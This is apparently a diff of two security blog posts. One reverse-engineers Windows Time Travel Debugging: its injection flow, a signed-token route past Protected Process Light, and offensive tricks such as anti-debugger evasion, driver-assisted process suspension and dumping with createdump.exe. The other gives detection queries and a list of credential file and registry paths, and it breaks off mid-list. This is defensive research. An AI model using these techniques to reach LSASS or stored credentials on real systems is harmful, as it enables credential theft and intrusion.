The process of setting up Nirvana requires TTD to set up the InstrumentationCallback field in the target \_EPROCESS. This is achieved through the (undocumented but [known](https://www.codeproject.com/Articles/543542/Windows-x64-System-Service-Hooks-and-Advanced-Debu)) NtSetInformationProcess(ProcessInstrumentationCallback) syscall (ProcessInstrumentationCallback, which has a value of 40). Due to the potential security implication, invoking this syscall requires elevated privileges. Interestingly, the -initialize flag also hinted that TTD could be deployed as a Windows service. Such service would be responsible for proxying tracing requests to arbitrary processes. This can be confirmed by executing it and seeing the resulting error message:
|
||||
|
||||

|
||||
|
||||
Even though it [is easy](https://www.virustotal.com/gui/search/TTDService.exe/files)to find evidence confirming the existence of TTDService.exe , the file was not provided as part of the public package, so aside from noting that TTD can run as a service, we will not cover it in this post.
|
||||
|
||||
## TTD process injection
|
||||
|
||||
As explained, a TTD trace file can either be created from the standalone binary TTD.exe or through a service TTDService.exe (private), both of which must be run in a privileged context. However, those are just launchers and injecting the recording DLL (named TTDRecordCPU.dll) is the job of another process: TTDInject.exe.
|
||||
|
||||
TTDInject.exe is another executable noticeably larger than TTD.exe, but with a pretty simple objective: prepare the tracing session. In an overly simplified view, TTD.exe will first start the process to be recorded in a suspended state. It will then spawn TTDInject.exe, passing it all the necessary arguments to prepare the session. Note that TTDInject can also spawn the process directly depending on the tracing mode we mentioned earlier — therefore, we are describing the most common behavior (i.e. when spawned from TTD.exe).
|
||||
|
||||

|
||||
|
||||
TTDInject will create a thread to execute TTDLoader!InjectThread in the recorded process, which after various validations will in turn load the library responsible for recording all process activity, TTDRecordCPU.dll.
|
||||
|
||||

|
||||
|
||||
From that point onward, all instructions, memory accesses, exceptions triggered, or CPU states encountered during the execution will be recorded.
|
||||
|
||||
Once the general workflow of TTD was understood, it became clear that little to no manipulation is possible after the session initialization. Thus, further attention was paid to the arguments supported by ttdrecord.dll. Thanks to the C++ mangling function format, a lot of critical information can be retrieved from the function names themselves, which makes analyzing the command line argument parser relatively simple. One interesting flag that was discovered was PplDebuggingToken. That flag is hidden and only available in Unrestricted Mode.
|
||||
|
||||

|
||||
|
||||
The existence of this flag immediately raised questions: TTD was architected first around Windows 7 and 8, and on Windows 8.1+. The concept of Protection Level was added to processes, dictating that processes can only open handles to a process with a [Protection Level](https://www.elastic.co/blog/protecting-windows-protected-processes#Protected%20process%20light:%7E:text=a%20kernel%20driver.-,Protected%20process%20light,-) that is equal or inferior. It is a simple byte in the \_EPROCESS structure in the kernel, and thus not directly modifiable from user mode.
|
||||
|
||||

|
||||
|
||||
The values of the Protection Level byte are well known and are summarized in the table below.
|
||||
|
||||

|
||||
|
||||
The Local Security Authority subsystem (lsass.exe) on Windows [can be configured](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) to run as Protected Process Light, which aims to limit the reach of an intruder who gains maximum privileges on a host. By acting at the kernel level, no user-mode process can open a handle to lsass, no matter how privileged.
|
||||
|
||||

|
||||
|
||||
But the PplDebuggingToken flag appears to suggest otherwise. If such a flag existed, it would be the dream of any pentester/red teamer: a (magic) token that would allow them to inject into protected processes and record them, dump their memory or more. The command line parser seems to imply that the content of the command flag is a mere wide-string. Could this be a PPL backdoor?
|
||||
|
||||
### Chasing after the PPL debugging token
|
||||
|
||||
Returning to ttdrecord.dll, the PplDebuggingToken command line option is parsed and stored in a context structure along with all of the options required to create the TTD session. The value can be traced down to several locations, with an interesting one being within TTD::InitializeForAttach, whose behavior is simplified in the following pseudo-code:
|
||||
|
||||
```
|
||||
ErrorCode TTD::InitializeForAttach(TtdSession *ctx)
|
||||
{
|
||||
[...]
|
||||
EnableDebugPrivilege(GetCurrentProcess()); // [1]
|
||||
HANDLE hProcess = OpenProcess(0x101040u, 0, ctx->dwProcessId);
|
||||
if(hProcess == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
goto Exit;
|
||||
}
|
||||
[...]
|
||||
HMODULE ModuleHandleW = GetModuleHandleW(L"crypt32.dll");
|
||||
if ( ModuleHandleW )
|
||||
pfnCryptStringToBinaryW = GetProcAddress(ModuleHandleW, "CryptStringToBinaryW"); // [2]
|
||||
|
||||
if ( ctx->ProcessDebugInformationLength ) // [3]
|
||||
{
|
||||
DecodedProcessInformationLength = ctx->ProcessDebugInformationLength;
|
||||
DecodedProcessInformation = std::vector<unsigned char>(DecodedProcessInformationLength);
|
||||
wchar_t* b64PplDebuggingTokenArg = ctx->CmdLine_PplDebugToken;
|
||||
if ( *pfnCryptStringToBinaryW )
|
||||
{
|
||||
if( ERROR_SUCCESS == pfnCryptStringToBinaryW( // [4]
|
||||
b64PplDebuggingTokenArg,
|
||||
DecodedProcessInformationLength,
|
||||
CRYPT_STRING_BASE64,
|
||||
DecodedProcessInformation.get(),
|
||||
&DecodedProcessInformationLength,
|
||||
0, 0))
|
||||
{
|
||||
Status = NtSetInformationProcess( // [5]
|
||||
NtGetCurrentProcess(),
|
||||
ProcessDebugAuthInformation,
|
||||
DecodedProcessInformation.get(),
|
||||
DecodedProcessInformationLength);
|
||||
}
|
||||
[...]
|
||||
```
|
||||
|
||||
After enabling the SeDebugPrivilege flag for the current process ([1]) and obtaining a handle to the process to attach to ([2]), the function resolves an exported generic function used to perform string operations: crypt32!CryptStringToBinaryW. In this instance, it is used for decoding the base64-encoded value of the PplDebuggingToken context option if it was provided by the command line( [3], [4]). The decoded value is then used to invoke the syscall NtSetInformationProcess(ProcessDebugAuthInformation) ([5]). The token doesn’t seem to be used anywhere else, which made us scrutinize that syscall.
|
||||
|
||||
The process information class ProcessDebugAuthInformation was added in [RS4](https://en.wikipedia.org/wiki/Windows_10_version_1803). A quick look at ntoskrnl shows that this syscall simply passes the buffer to CiSetInformationProcess located in ci.dll, which is the Code Integrity driver DLL. The buffer is then passed to ci!CiSetDebugAuthInformation with fully controlled arguments.
|
||||
|
||||

|
||||
|
||||
The following diagram summarizes at a high level where this happens in the execution flow of TTD.
|
||||
|
||||

|
||||
|
||||
The execution flow in CiSetDebugAuthInformation is simple enough: the buffer with the base64-decoded PplDebuggingToken and its length are passed as arguments for parsing and validation to ci!SbValidateAndParseDebugAuthToken. Should the validation succeed, and after some extra validation, a handle to the process performing the syscall (remember that we’re still handling the syscall nt!NtSetInformationProcess) will be inserted in a process debug information object then stored in a global list entry.
|
||||
|
||||

|
||||
|
||||
But how is that interesting? Because this list is only accessed in a single location: in ci!CiCheckProcessDebugAccessPolicy, and this function is reached during a NtOpenProcess syscall. And, as the name of the newly discovered flag suggested earlier, any process whose PID is located in that list would bypass the Protection Level enforcement. This was confirmed practically in a [KD](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-using-kd-and-ntkd) session by setting an access breakpoint on that list (on our version of ci.dll this was located at ci+364d8). We also [enabled PPL on LSASS](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) and wrote a simple PowerShell script that would trigger a NtOpenProcess syscall:
|
||||
|
||||

|
||||
|
||||
By breaking at the call to nt!PsTestProtectedProcessIncompatibility in nt!PspProcessOpen, we can confirm that our PowerShell process attempts to target lsass.exe, which is a PPL process:
|
||||
|
||||

|
||||
|
||||
Now to confirm the initial theory of what the PplDebuggingToken argument would do by forcing the return value of the call to nt!PsTestProtectedProcessIncompatibility:
|
||||
|
||||

|
||||
|
||||
We break at the instruction following the call to nt!PsTestProtectedProcessIncompatibility (which only calls CI!CiCheckProcessDebugAccessPolicy), and force the return value to 0 (as mentioned earlier a value of 1 means incompatible):
|
||||
|
||||

|
||||
|
||||
Success! We obtained a handle to LSASS despite it being PPL, confirming our theory. Summarizing, if we can find a “valid value” (we’ll dig into that soon) it will pass the check of SbValidateAndParseDebugAuthToken() in ci!CiSetDebugAuthInformation(), and we would have a universal PPL bypass. If this sounds too good to be true, that’s mostly because it is — but confirming it requires developing a better understanding of what CI.dll is doing.
|
||||
|
||||
### Understanding Code Integrity policies
|
||||
|
||||
Restrictions based on code integrity, such as those used by AppLocker, can be enforced through policies, which in their human readable form are XML files. There are two types of policies: base and supplemental. Examples of what base policies look like can be found in their XML format in "C:\Windows\schemas\CodeIntegrity\ExamplePolicies\". This is what a Base Policy looks like in its XML form (taken from "C:\Windows\schemas\CodeIntegrity\ExamplePolicies\AllowAll.xml"), which reveals most of the details we’re interested in clearly in plaintext.
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
|
||||
<VersionEx>1.0.1.0</VersionEx>
|
||||
<PolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyID>
|
||||
<BasePolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</BasePolicyID>
|
||||
<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
|
||||
<Rules>
|
||||
<Rule><Option>Enabled:Unsigned System Integrity Policy</Option></Rule>
|
||||
<Rule><Option>Enabled:Advanced Boot Options Menu</Option></Rule>
|
||||
<Rule><Option>Enabled:UMCI</Option></Rule>
|
||||
<Rule><Option>Enabled:Update Policy No Reboot</Option></Rule>
|
||||
</Rules>
|
||||
<!--EKUS-- >
|
||||
<EKUs />
|
||||
<!--File Rules-- >
|
||||
<FileRules>
|
||||
<Allow ID="ID_ALLOW_A_1" FileName="*" />
|
||||
<Allow ID="ID_ALLOW_A_2" FileName="*" />
|
||||
</FileRules>
|
||||
<!--Signers-- >
|
||||
<Signers />
|
||||
<!--Driver Signing Scenarios-- >
|
||||
<SigningScenarios>
|
||||
<SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1" FriendlyName="Auto generated policy on 08-17-2015">
|
||||
<ProductSigners>
|
||||
<FileRulesRef><FileRuleRef RuleID="ID_ALLOW_A_1" /></FileRulesRef>
|
||||
</ProductSigners>
|
||||
</SigningScenario>
|
||||
<SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="Auto generated policy on 08-17-2015">
|
||||
<ProductSigners>
|
||||
<FileRulesRef><FileRuleRef RuleID="ID_ALLOW_A_2" /></FileRulesRef>
|
||||
</ProductSigners>
|
||||
</SigningScenario>
|
||||
</SigningScenarios>
|
||||
<UpdatePolicySigners />
|
||||
<CiSigners />
|
||||
<HvciOptions>0</HvciOptions>
|
||||
<Settings>
|
||||
<Setting Provider="PolicyInfo" Key="Information" ValueName="Name">
|
||||
<Value><String>AllowAll</String></Value>
|
||||
</Setting>
|
||||
<Setting Provider="PolicyInfo" Key="Information" ValueName="Id">
|
||||
<Value><String>041417</String></Value>
|
||||
</Setting>
|
||||
</Settings>
|
||||
</SiPolicy>
|
||||
```
|
||||
|
||||
XML-formatted policies can be compiled to a binary format using the ConvertFrom-CiPolicy PowerShell cmdlet:
|
||||
|
||||

|
||||
|
||||
Base Policies allow for fine granularity, with the ability to restrict by name, path, hash, or signer (with or without specific [EKU](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)); but also in their action mode (Audit or Enforced).
|
||||
|
||||
Supplemental Policies were designed as an extension of Base Policies to provide more flexibility allowing, for instance, policies to apply (or not) to a specific group of workstations or servers. Therefore, they are more specific, but can also be more permissive than the Base Policy should be. Interestingly, before 2016, supplemental policies [were not bound to a specific device](https://openrt.gitbook.io/open-surfacert/common/boot-sequence/uefi/secure-boot/windows-bootmanager-exploit), allowing otherwise mitigated bypasses fixed by [MS16-094](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-094) and [MS16-100](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-100) that were [broadly covered](https://arstechnica.com/information-technology/2016/08/microsoft-secure-boot-firmware-snafu-leaks-golden-key) by the media.
|
||||
|
||||
Keeping that information in mind, it is possible to get back to ci!SbValidateAndParseDebugAuthToken with more clarity: the function essentially follows three steps: 1. Call ci!SbParseAndVerifySignedSupplementalPolicy to parse the input buffer from the syscall and determine if it’s a validly-signed Supplemental Policy 2. Call ci!SbIsSupplementalPolicyBoundToDevice to compare the DeviceUnlockId from the supplemental policy to that of the current system; such values can be easily retrieved using the syscall NtQuerySystemEnvironmentValueEx with the GUID [`{EAEC226F-C9A3-477A-A826-DDC716CDC0E3}`](https://oofhours.com/2019/09/02/geeking-out-with-uefi/)3. Finally, extract two variables from the policy: an integer (DWORD) which corresponds to the Protection Level, and a (UNICODE_STRING) Debug Authorization.
|
||||
|
||||
Since it is possible to craft policy files (via XML or PowerShell scripting), Step 3 is not a problem. Neither is Step 2, as the DeviceUnlockId can be forged with the syscall `NtSetSystemEnvironmentValueEx({EAEC226F-C9A3-477A-A826-DDC716CDC0E3})` as long as we have the SeSystemEnvironmentPrivilege privilege. However, it should be noted that the UnlockId is a volatile value that will be restored upon reboot.
|
||||
|
||||

|
||||
|
||||
However, bypassing Step 1 is virtually impossible, as it requires : - to own the private key for a Microsoft-owned certificates with the particular [OID 1.3.6.1.4.1.311.10.3.6](http://oid-info.com/get/1.3.6.1.4.1.311.10.3.6)(i.e. - MS NT5 Lab (szOID_NT5_CRYPTO)) - and that the aforementioned certificate must not be revoked or expired
|
||||
|
||||
So, where does that leave us? We have now confirmed that, contrary to conventional wisdom, PPL processes can be opened by another process without the extra step of loading a kernel driver. However, it should also be stressed that such a use case is niche, since only Microsoft (literally) holds the keys to using this technique for very targeted machines. Nevertheless, such a case is still a great example of an air gap use of CI for debugging purposes.
|
||||
|
||||
## Offensive TTD
|
||||
|
||||
_Note: As a reminder, TTD.exe requires elevated privileges which all of the techniques discussed below assume._
|
||||
|
||||
Throughout this research, we discovered some potentially interesting offensive and defensive use cases of TTD.
|
||||
|
||||
### Tracing != Debugging
|
||||
|
||||
TTD is not a debugger! Therefore, it will work perfectly undetected for processes that perform a basic anti-debugging check, like using IsDebuggerPresent() (or any other way that depends on PEB.BeingDebugged). The following screenshot illustrates this detail by making TTD attach to a simple notepad process:
|
||||
|
||||

|
||||
|
||||
From a debugger we can check the BeingDebugged field located in the notepad PEB, which shows that the flag is not set:
|
||||
|
||||

|
||||
|
||||
### The curious case of ProcLaunchMon
|
||||
|
||||
Another interesting trick made available by TTD is abusing the built-in Windows driver ProcLaunchMon.sys. When running as a service (i.e. TTDService.exe), ttdrecord.dll will create the service instance, load the driver, and communicate with the device available at \.\com_microsoft_idna_ProcLaunchMon to register newly traced clients.
|
||||
|
||||
The driver itself will be used to monitor new processes created by the TTD service and then suspend those processes directly from the kernel, thus bypassing any protection that solely monitors process creation with the creation flag CREATE_SUSPENDED (as mentioned [here](https://attack.mitre.org/techniques/T1055/012/#detection) for instance). We developed a basic Device Driver client for this research, which can be found [here](https://gist.github.com/calladoum-elastic/328068f19e60a76b00f20cdb936cd078).
|
||||
|
||||

|
||||
|
||||
### CreateDump.exe
|
||||
|
||||
Another fun fact: even though it is not strictly part of TTD, the WinDbgX package provides a .NET signed binary whose name perfectly summarizes its functionality: createdump.exe. This binary is located at "C:\Program Files\WindowsApps\Microsoft.WinDbg\_\*\createdump.exe".
|
||||
|
||||

|
||||
|
||||
This binary can be used to snapshot and dump the context of a process provided as an argument, in the direct lineage of other [LOLBAS](https://lolbas-project.github.io).
|
||||
|
||||

|
||||
|
||||
This once more highlights the need to avoid relying on static signatures and filename blocklist entries to protect against attacks such as credential dumping and favor more robust approaches such as [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection), [Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage), or [Elastic Endpoint’s Credential Hardening](https://www.elastic.co/guide/en/security/current/whats-new.html#_endpoint_enhancements).
|
||||
|
||||
## Defensive TTD
|
||||
|
||||
### Blocking TTD
|
||||
|
||||
Though TTD is an extremely useful feature, cases where it would be required to be enabled on non-development or test machines (such as production servers or workstations) are rare. Even though this seems largely undocumented at the time of this writing, ttdrecord.dll allows an early exit scenario by simply creating or updating a registry key located under "HKEY_LOCAL_MACHINE\Software\Microsoft\TTD", and updating the DWORD32 value RecordingPolicy to 2. Further attempts to use any TTD service (TTD.exe, TTDInject.exe, TTDService.exe) will be stopped and an ETW event will be generated to track attempts.
|
||||
|
||||

|
||||
|
||||
### Detecting TTD
|
||||
|
||||
Preventing the use of TTD might be too extreme for all environments — however, several indicators exist for detecting the use of TTD. A process being traced has the following properties:
|
||||
|
||||
- One thread will be running the code from TTDRecordCPU.dll, which can be verified using a simple built-in Windows command: tasklist /m TTDRecordCPU.dll
|
||||
- Even though this can be bypassed, the parent PID of the recorded process (or the first one, in case recursive tracing is enabled), would be TTD.exe itself:
|
||||
|
||||

|
||||
|
||||
- Also, the \_KPROCESS.InstrumentationCallback pointer would be set to land in the TTDRecordCPU.dll BSS section of the executable:
|
||||
|
||||

|
||||
|
||||
Therefore, detecting tracing from TTD can be achieved through both User-Mode and Kernel-Mode methods.
|
||||
|
||||
# Conclusion
|
||||
|
||||
This concludes the first part of this “On-Week” research focused on TTD. Digging into the internals of the TTD ecosystem revealed some very interesting, lesser-known mechanisms built-in to Windows, which are required to make TTD work for certain edge cases — such as the tracing of PPL processes.
|
||||
|
||||
Even though this research didn’t unveil a new secret backdoor for targeting PPL processes, it did show an unexplored technique built into Windows to do so. If anything, this research highlights the importance of a model based on strong cryptography (here through CI.dll), and how it can bring a lot of flexibility — while maintaining a high level of security — when implemented adequately.
|
||||
|
||||
The second part of this series will be less research-oriented and more hands-on with the release of a small tool we also developed as part of On-Week. This assists in the process of binary analysis through TTD, using the Windows Sandbox.
|
||||
|
||||
## Acknowledgement
|
||||
|
||||
As this research was already concluded and the article in progress, the author became aware of research that covered a similar subject and findings regarding that very same technique (PPL debugging token). That research was performed by Lucas George (from the company Synacktiv), who presented his findings at [SSTIC 2022](https://www.sstic.org/2022/presentation/supreme_ttd_-_that_s_my_ppl/).
|
|
@ -0,0 +1,316 @@
|
|||
---
|
||||
title: "Detect Credential Access with Elastic Security"
|
||||
slug: "detect-credential-access"
|
||||
date: "2023-03-01"
|
||||
description: "Elastic Endpoint Security provides events that enable defenders with visibility on techniques and procedures which are commonly leveraged to access sensitive files and registry objects."
|
||||
author:
|
||||
- slug: samir-bousseaden
|
||||
image: "blog-thumb-blind-spots.png"
|
||||
category:
|
||||
- slug: security-operations
|
||||
- slug: detection-science
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
[Credential Access](https://attack.mitre.org/tactics/TA0006/) consists of techniques for stealing credentials like cookies, API keys, and passwords. It is one of the top critical tactics that is almost guaranteed to occur during an attack lifecycle, ranging from phishing to infostealer malware to more complicated post-exploitation techniques. Therefore, covering it from different angles increases opportunities for early detection and prevention. [Elastic Endpoint Security](https://www.elastic.co/endpoint-security/) 7.15 added new [file](https://www.elastic.co/guide/en/ecs/current/ecs-file.html#field-file-path)and [registry](https://www.elastic.co/guide/en/ecs/current/ecs-allowed-values-event-category.html#ecs-event-category-registry) events to provide defenders with better visibility on techniques and procedures involving some form of sensitive files and/or registry objects access:
|
||||
|
||||
- [T1555.003 Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003/)
|
||||
- [T1003.002 Security Account Manager](https://attack.mitre.org/techniques/T1003/002/)
|
||||
- [T1003.004 LSA Secrets](https://attack.mitre.org/techniques/T1003/004/)
|
||||
- [T1003.005 Cached Domain Credentials](https://attack.mitre.org/techniques/T1003/005/)
|
||||
- [T1552.001 Credential in Files](https://attack.mitre.org/techniques/T1552/001/)
|
||||
- [T1555.004 Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004/)
|
||||
|
||||
## Hunting for Credential Access
|
||||
|
||||
With the [Endpoint security integration](https://www.elastic.co/guide/en/security/current/install-endpoint.html) enabled, you can explore those new events using generic [KQL](https://www.elastic.co/guide/en/kibana/current/kuery-query.html) or [EQL](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql.html) queries:
|
||||
|
||||
**KQL and EQL queries to view file and registry events.**
|
||||
|
||||
```
|
||||
// EQL via Security -> Timelines -> New -> Correlation
|
||||
any where event.category in ("file", "registry")
|
||||
and event.action in ("query", "open")
|
||||
|
||||
// KQL via Discover
|
||||
event.category : ("file" or "registry")
|
||||
and event.action : ("open" or "query")
|
||||
|
||||
```
|
||||
|
||||
Below, you can see an example of file events logged as a result of running two known security assessment tools: [Lazagne](https://github.com/AlessandroZ/LaZagne) and [Seatbelt](https://github.com/GhostPack/Seatbelt). These tools include checks for a multitude of credentials and interesting files used in common software:
|
||||
|
||||

|
||||
|
||||
Here are some example registry events logged as a result of running [Mimikatz](https://github.com/gentilkiwi/mimikatz) (lsadump::sam, cache, lsa, and secrets submodules) and Seatbelt (PuttyHostKeys SSH enumeration):
|
||||
|
||||

|
||||
|
||||
Leveraging EQL’s [correlation](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-sequences) capabilities to link those new events with other event categories (such as [process](https://www.elastic.co/guide/en/ecs/current/ecs-allowed-values-event-category.html#ecs-event-category-process), registry, [network](https://www.elastic.co/guide/en/ecs/current/ecs-allowed-values-event-category.html#ecs-event-category-network), and/or
|
||||
|
||||
[authentication](https://www.elastic.co/guide/en/ecs/current/ecs-allowed-values-event-category.html#ecs-event-category-authentication)) is a great enabler for detection and hunting.
|
||||
|
||||
> The [process.entity_id](https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id) field is a globally unique identifier used to mitigate PID reuse as well as to identify a specific process over time.
|
||||
|
||||
This EQL query uses the process.entity_id field to detect a process accessing multiple sensitive files in a short period of time, which is usually a higher-confidence signal than looking for single file access:
|
||||
|
||||
**Process accessing multiple sensitive files in a short period of time**
|
||||
|
||||
```
|
||||
sequence by process.entity_id with maxspan=1m
|
||||
[process where event.action == "start"]
|
||||
|
||||
// at least 3 unique file.paths, runs=* is supported in EQL 7.16+
|
||||
[file where event.action == "open"] with runs=3
|
||||
|
||||
```
|
||||
|
||||
Here is an example of a match for 3 different and unrelated types of credentials (email, DPAPI system MasterKey and Sysprep unattended):
|
||||
|
||||

|
||||
|
||||
Now let’s hunt for [remote access to sensitive files over SMB](https://attack.mitre.org/techniques/T1021/002/), such as the following:
|
||||
|
||||

|
||||
|
||||
We can detect this behavior with EQL that correlates a remote logon event ([4624](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624)) with sensitive file access by the same
|
||||
|
||||
[user.id](https://www.elastic.co/guide/en/ecs/current/ecs-user.html#field-user-id):
|
||||
|
||||
**Correlating remote logon with sensitive file access**
|
||||
|
||||
```
|
||||
sequence by host.id with maxspan=5m
|
||||
|
||||
[authentication where event.action == "logged-in" and
|
||||
/* event 4624 need to be logged */
|
||||
winlog.logon.type : "Network" and
|
||||
event.outcome == "success" and source.ip != null and
|
||||
source.ip != "127.0.0.1" and
|
||||
source.ip != "::1"] by winlog.event_data.TargetUserSid
|
||||
|
||||
/* requires Elastic Endpoint Security Integration 7.15+ */
|
||||
[file where event.action == "open" and process.pid == 4] by user.id
|
||||
|
||||
```
|
||||
|
||||
The above query results correlate relevant fields like the [source.ip](https://www.elastic.co/guide/en/ecs/current/ecs-source.html#field-source-ip), user.id, and [file.path](https://www.elastic.co/guide/en/ecs/current/ecs-file.html#field-file-path):
|
||||
|
||||

|
||||
|
||||
## Behavior Protection
|
||||
|
||||
In addition to being able to use those events in [detection rules](https://github.com/elastic/detection-rules), Elastic Endpoint Security includes built-in malicious behavior protection rules that can automatically react to high-confidence, highly-suspicious sensitive file/registry accesses.
|
||||
|
||||
For example, here we can see Elastic Endpoint’s behavior protection rules catching:
|
||||
|
||||
- [LSASecretsdumper](https://github.com/gtworek/PSBits/tree/master/LSASecretDumper) - LSA secrets stealing with LsaOpenSecret and LsaQuerySecret APIs.
|
||||
- [Mimikatz (lsadump:sam and secrets modules)](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets) - modules to dump creds from the SAM and LSA registry keys.
|
||||
- Lazagne (DPAPI MasterKeys access) - stealing MasterKey to decrypt DPAPI protected resources.
|
||||
|
||||

|
||||
|
||||
Here are detections of Chrome Login Data file access by different infostealers ([Poulight Stealer](https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer), [AgentTesla](https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla)) including [lolbins](https://lolbas-project.github.io/) (powershell script):
|
||||
|
||||

|
||||
|
||||
Below are some example detections for Windows Credential Manager Store access by common stealers AgentTesla and [FormBook](https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook):
|
||||
|
||||

|
||||
|
||||
## Monitored File and Registry Paths
|
||||
|
||||
The current list of monitored file and registry paths is listed below. Due to data volume and performance concerns, the Elastic Endpoint generates only one event per process.entity_id for a given file or registry pattern in the list. From a detection point of view this won’t create any visibility gap since we emit an event on the first file or registry access performed by any process.
|
||||
|
||||
**Monitored registry paths**
|
||||
|
||||
```
|
||||
registry_paths:
|
||||
# SAM - Encrypted Local Account Pwd hashes
|
||||
- '\REGISTRY\MACHINE\SAM'
|
||||
- '\REGISTRY\MACHINE\SAM\SAM\Domains\*'
|
||||
|
||||
# SYSTEM - Bootkey/Syskey GBG, JD, Skew1
|
||||
- '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\JD'
|
||||
- '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\Skew1'
|
||||
- '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\GBG'
|
||||
# SECURITY - LSA key, encrypted domain cached pwd and machine account pwd
|
||||
- '\REGISTRY\MACHINE\SECURITY\CACHE*'
|
||||
- '\REGISTRY\MACHINE\SECURITY\POLICY\SECRETS\*'
|
||||
|
||||
# Registry - Putty SSH Keys
|
||||
- '\Registry\Machine\Software\SimonTatham\PuTTY\SshHostKeys\*'
|
||||
- '\Registry\User\*\Software\SimonTatham\PuTTY\SshHostKeys\*'
|
||||
|
||||
# Sysadmin - WinSCP
|
||||
- '\REGISTRY\User\*\software\Martin Prikryl\WinSCP 2\Sessions\*\Password*'
|
||||
|
||||
# Sysadmin - TeamViewer
|
||||
- '\REGISTRY\Machine\SOFTWARE\WOW6432Node\TeamViewer\PrxyPassword*'
|
||||
|
||||
# Sysadmin - OpenVPN
|
||||
- '\REGISTRY\User\*\Software\OpenVPN-GUI\Configs\auth-data*'
|
||||
|
||||
# Outlook Passwords
|
||||
- '\Registry\User\*\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\*Password'
|
||||
- '\Registry\Users\*\Software\Microsoft\Office\*.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676'
|
||||
|
||||
```
|
||||
|
||||
**Monitored registry paths**
|
||||
|
||||
```
|
||||
file_paths:
|
||||
# DPAPI - User MasterKey
|
||||
# DPAPI - CREDHIST
|
||||
- 'C:\Users\*\AppData\Roaming\Microsoft\Protect\*'
|
||||
|
||||
# DPAPI - System MasterKey
|
||||
- '?:\Windows\System32\Microsoft\Protect\S-1-5-18\User\*'
|
||||
|
||||
# CredVault - User
|
||||
- '?:\Users\*\AppData\Roaming\Microsoft\Vault\*'
|
||||
- '?:\Users\*\AppData\Local\Microsoft\Vault\*'
|
||||
|
||||
# CredVault - System
|
||||
- '?:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Vault\*'
|
||||
|
||||
# CredMan - Users
|
||||
- '?:\Users\*\AppData\Roaming\Microsoft\Credentials\*'
|
||||
- '?:\Users\*\AppData\Local\Microsoft\Credentials\*'
|
||||
|
||||
# CredMan - System
|
||||
- '?:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\*'
|
||||
- '?:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials\*'
|
||||
|
||||
# CredMan - Service
|
||||
- '?:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials\*'
|
||||
- '?:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials\*'
|
||||
- '?:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials\*'
|
||||
- '?:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials\*'
|
||||
|
||||
# Unattended creds
|
||||
- '?:\Windows\Panther\Unattend.xml'
|
||||
- '?:\Windows\Panther\Unattended.xml'
|
||||
- '?:\Windows\Panther\Unattend\Unattended.xml'
|
||||
- '?:\Windows\Panther\Unattend\Unattend.xml'
|
||||
- '?:\Windows\System32\Sysprep\unattend.xml'
|
||||
- '?:\Windows\System32\Sysprep\Panther\unattend.xml'
|
||||
|
||||
# Browser
|
||||
- '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\key*.db'
|
||||
- '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\logins.json'
|
||||
- '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\cert*.db'
|
||||
- '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\cookies.sqlite'
|
||||
- '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\signons.sqlite'
|
||||
- '*\Users\*\User Data\Default\Login Data'
|
||||
- '*\users\*\AppData\Local\*\User Data\Default\Cookies'
|
||||
- '*\Users\*\AppData\Roaming\Opera Software\Opera Stable\*'
|
||||
|
||||
# RDP
|
||||
- '*\Users\*\AppData\Local\Microsoft Corporation\Remote Desktop Connection Manager\RDCMan.settings'
|
||||
- '*\Users\*\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings'
|
||||
|
||||
# Database - SVN
|
||||
- '?:\Users\*\AppData\Roaming\Subversion\auth\svn.simple'
|
||||
|
||||
# Database - postgresql
|
||||
